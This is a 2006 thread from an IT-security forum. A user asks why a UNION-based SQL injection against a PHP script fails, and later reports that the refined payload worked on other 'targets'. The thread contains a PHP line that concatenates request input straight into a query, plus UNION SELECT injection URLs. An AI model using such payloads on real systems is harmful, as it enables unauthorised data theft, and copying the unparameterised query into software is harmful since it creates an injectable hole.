|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 79
Members: 0
Total: 79
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
sql injection question |
|
Posted: Wed Apr 19, 2006 9:25 am |
|
|
daemon_azazel |
Regular user |
|
|
Joined: Apr 16, 2006 |
Posts: 17 |
|
|
|
|
|
|
|
hi there,
i'm testing a following application which contains this line in script.php:
Code: | $final = sql_query ('' . 'SELECT column1 FROM table1 WHERE colum2=' . $_REQUEST['variable']); |
application has also possibility to switch debug mode on to see the
query being executed and error if occurs.
so i try to inject sql this way:
/script.php?bebug=1&variable=0 UNION SELECT column3 FROM table2 WHERE column4=11
application breaks with following output on the screen:
Quote: | Query: SELECT column1 FROM table1 WHERE colum2=0 UNION SELECT column3 FROM table2 WHERE column4=11
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT column3 FROM table2 WHERE column4=11' at line 1 |
what is damn strange is that from query statement it looks like query is OK, moreover when i execute such query thru shell access i got result exactly as expected.
however when i try to inject, it throws out an error despite everything
seems to be OK.
please could you let me hear your opinions what may cause that this
injection fails? |
|
|
|
|
|
|
|
|
Posted: Mon Apr 24, 2006 12:55 pm |
|
|
daemon_azazel |
Regular user |
|
|
Joined: Apr 16, 2006 |
Posts: 17 |
|
|
|
|
|
|
|
well problem solved. thread may be closed.
target i was testing had some very low version of mysql and thus no
union support. other targets worked fine, just improved specification
was needed:
/script.php?debug=1&variable=0 UNION SELECT table2.column3 FROM database.table2 WHERE table2.column4=11 |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|